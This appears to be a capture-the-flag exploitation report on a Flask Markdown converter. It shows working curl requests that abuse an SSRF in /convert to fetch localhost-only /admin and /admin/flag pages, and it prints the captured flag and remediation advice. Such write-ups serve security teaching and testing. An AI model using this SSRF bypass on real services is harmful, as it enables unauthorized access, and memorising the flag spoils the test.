# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: IP-Based Authorization Bypass on /admin Endpoint

**Summary:**
- **Vulnerable location:** GET /admin endpoint protected by IP-based authorization check (app.py:47-48)
- **Overview:** External attackers can bypass IP-based authorization (request.remote_addr == '127.0.0.1') by exploiting the SSRF vulnerability in the /convert endpoint to proxy requests through localhost, gaining unauthorized access to the admin interface
- **Impact:** Complete vertical privilege escalation from anonymous external user to admin role, enabling reconnaissance of admin functionality including flag location
- **Severity:** High - Vertical privilege escalation with unauthorized access to administrative interface

**Prerequisites:**
None - Exploitation requires only HTTP client (curl, browser, Burp Suite, etc.)

**Exploitation Steps:**

1. **Verify Direct Access is Blocked**
   Send a direct GET request to the admin endpoint:
   ```bash
   curl http://localhost:42369/admin -v
   ```
   Expected result: HTTP 403 FORBIDDEN response confirming authorization check is active

2. **Exploit SSRF to Bypass IP Check**
   Send POST request to /convert endpoint with URL parameter pointing to localhost admin endpoint:
   ```bash
   curl -X POST http://localhost:42369/convert \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "url=http://127.0.0.1/admin"
   ```
   
3. **Verify Successful Privilege Escalation**
   The response will contain the admin interface HTML within the converter output, proving successful bypass of the IP-based authorization check

**Proof of Impact:**

**Direct Access (Blocked):**
```
$ curl http://localhost:42369/admin -v
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/3.0.6 Python/3.8.20
< Content-Type: text/html; charset=utf-8
```

**SSRF Bypass (Success):**
```
$ curl -X POST http://localhost:42369/convert \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "url=http://127.0.0.1/admin"

Response contains:
<!doctype html>
<html lang="en">
<head>
    <title>Admin Interface</title>
</head>
<body>
    <header>
        <h1>Welcome to the Admin Interface</h1>
    </header>
    <main>
        <ul>
            <li><a href="/admin/flag">View Flag</a></li>
            <li><a href="/">Markdown Converter</a></li>
        </ul>
    </main>
</body>
</html>
```

**Evidence Analysis:**
- Direct access returns 403 FORBIDDEN (authorization working as designed)
- SSRF bypass returns 200 OK with complete admin interface HTML
- Response contains admin-only content: "Welcome to the Admin Interface" header
- Response reveals additional protected endpoint: /admin/flag
- Confirms complete vertical privilege escalation from anonymous to admin role

**Attack Flow:**
1. External attacker (anonymous role) → POST /convert with url=http://127.0.0.1/admin
2. Flask application executes urllib.request.urlopen("http://127.0.0.1/admin")
3. Internal HTTP request originates FROM 127.0.0.1 TO 127.0.0.1
4. /admin handler evaluates request.remote_addr == '127.0.0.1' → TRUE
5. Authorization check passes, admin template rendered
6. Admin interface HTML returned to attacker via converter output

**Notes:**
This vulnerability demonstrates complete failure of network-based authorization when SSRF exists. The authorization guard itself is correctly placed (before side effect) but uses an insufficient mechanism (IP address) that can be spoofed via SSRF. This finding enabled reconnaissance that led to discovery of the flag endpoint (AUTHZ-VULN-02).

---

### AUTHZ-VULN-02: IP-Based Authorization Bypass on /admin/flag Endpoint (CTF Flag Capture)

**Summary:**
- **Vulnerable location:** GET /admin/flag endpoint protected by IP-based authorization check (app.py:53-54)
- **Overview:** External attackers can bypass IP-based authorization to access the flag endpoint via SSRF, achieving complete CTF flag compromise
- **Impact:** CRITICAL - Complete disclosure of CTF flag value, representing full compromise of the application's most sensitive data
- **Severity:** Critical - Vertical privilege escalation resulting in complete confidentiality breach of protected flag data

**Prerequisites:**
None - Exploitation requires only HTTP client (curl, browser, Burp Suite, etc.)

**Exploitation Steps:**

1. **Verify Direct Access is Blocked**
   Send a direct GET request to the flag endpoint:
   ```bash
   curl http://localhost:42369/admin/flag -v
   ```
   Expected result: HTTP 403 FORBIDDEN response

2. **Exploit SSRF to Capture Flag**
   Send POST request to /convert endpoint with URL parameter pointing to localhost flag endpoint:
   ```bash
   curl -X POST http://localhost:42369/convert \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "url=http://127.0.0.1/admin/flag"
   ```

3. **Extract Flag from Response**
   The response will contain the flag value embedded in the converted HTML output

**Proof of Impact:**

**Direct Access (Blocked):**
```
$ curl http://localhost:42369/admin/flag -v
< HTTP/1.1 403 FORBIDDEN
< Server: Werkzeug/3.0.6 Python/3.8.20
< Content-Type: text/html; charset=utf-8
```

**SSRF Bypass (Flag Captured):**
```
$ curl -X POST http://localhost:42369/convert \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "url=http://127.0.0.1/admin/flag"

Response contains:
<!doctype html>
<html lang="en">
<head>
    <title>Flag</title>
</head>
<body>
    <header>
        <h1>Congratulations!</h1>
    </header>
    <main>
        <p>Your flag is: flag{cbf59a8d-b5f1-4a8e-8286-0c249b14d682}</p>
    </main>
</body>
</html>
```

**FLAG CAPTURED:** `flag{cbf59a8d-b5f1-4a8e-8286-0c249b14d682}`

**Evidence Analysis:**
- Direct access returns 403 FORBIDDEN (authorization working as designed)
- SSRF bypass returns 200 OK with complete flag disclosure
- Response contains the complete flag value in plaintext
- Single HTTP request achieves complete privilege escalation and flag compromise
- No additional credentials, multi-step exploitation, or complex techniques required

**Attack Flow:**
1. External attacker (anonymous role) → POST /convert with url=http://127.0.0.1/admin/flag
2. Flask application executes urllib.request.urlopen("http://127.0.0.1/admin/flag")
3. Internal HTTP request originates FROM 127.0.0.1 TO 127.0.0.1
4. /admin/flag handler evaluates request.remote_addr == '127.0.0.1' → TRUE
5. Authorization check passes, flag template rendered with FLAG variable
6. Flag HTML returned to urllib, then converted via markdown processor
7. Complete flag value displayed to attacker in converter output

**Root Cause Analysis:**
This critical vulnerability stems from three architectural failures:
1. **Insufficient Authorization Mechanism:** Using network location (IP address) as the sole authorization mechanism fails when SSRF exists, as attackers can make requests appear to originate from trusted sources
2. **Missing Defense-in-Depth:** No secondary authorization layer (session-based auth, API tokens, role-based access control) to prevent access even if IP check is bypassed
3. **Unvalidated URL Fetching:** The /convert endpoint accepts arbitrary URLs without allowlist validation, protocol restrictions, or hostname filtering, enabling localhost access

**Notes:**
This is the highest-impact finding in the assessment, representing complete compromise of the application's protected secret. The vulnerability combines two security failures: an authorization design flaw (IP-based access control) with an injection vulnerability (SSRF). While the authorization guard is architecturally correct (placed before side effect, dominates all code paths), the mechanism is fundamentally insufficient when SSRF capabilities exist in the application.

This finding achieves the CTF objective and demonstrates Level 4 exploitation (Critical Privilege Escalation with access to highly sensitive data).

---

## Summary

**Total Vulnerabilities Exploited:** 2 (both vertical privilege escalation)

**Key Findings:**
- Complete bypass of IP-based authorization mechanism via SSRF
- Vertical privilege escalation from anonymous external user to full admin access
- CTF flag successfully captured: `flag{cbf59a8d-b5f1-4a8e-8286-0c249b14d682}`
- Single-request exploitation (no complex multi-step attack required)
- No authentication credentials needed

**Attack Pattern:**
Both vulnerabilities follow the same exploitation pattern - using the SSRF vulnerability in the /convert endpoint to proxy requests through localhost (127.0.0.1), causing the Flask application to see the request as originating from the trusted localhost IP address, thereby bypassing the IP-based authorization checks on admin endpoints.

**Security Implications:**
These findings demonstrate that IP-based authorization is insufficient as a security mechanism when Server-Side Request Forgery (SSRF) vulnerabilities exist. Organizations should implement defense-in-depth authorization with proper authentication tokens, session-based access control, and role-based authorization that cannot be bypassed through network-layer manipulation.

**Remediation Priority:**
Both vulnerabilities should be addressed immediately:
1. Implement URL allowlist validation in the /convert endpoint to prevent localhost access
2. Replace IP-based authorization with proper authentication and session-based authorization
3. Add defense-in-depth controls (rate limiting, request origin validation, security headers)
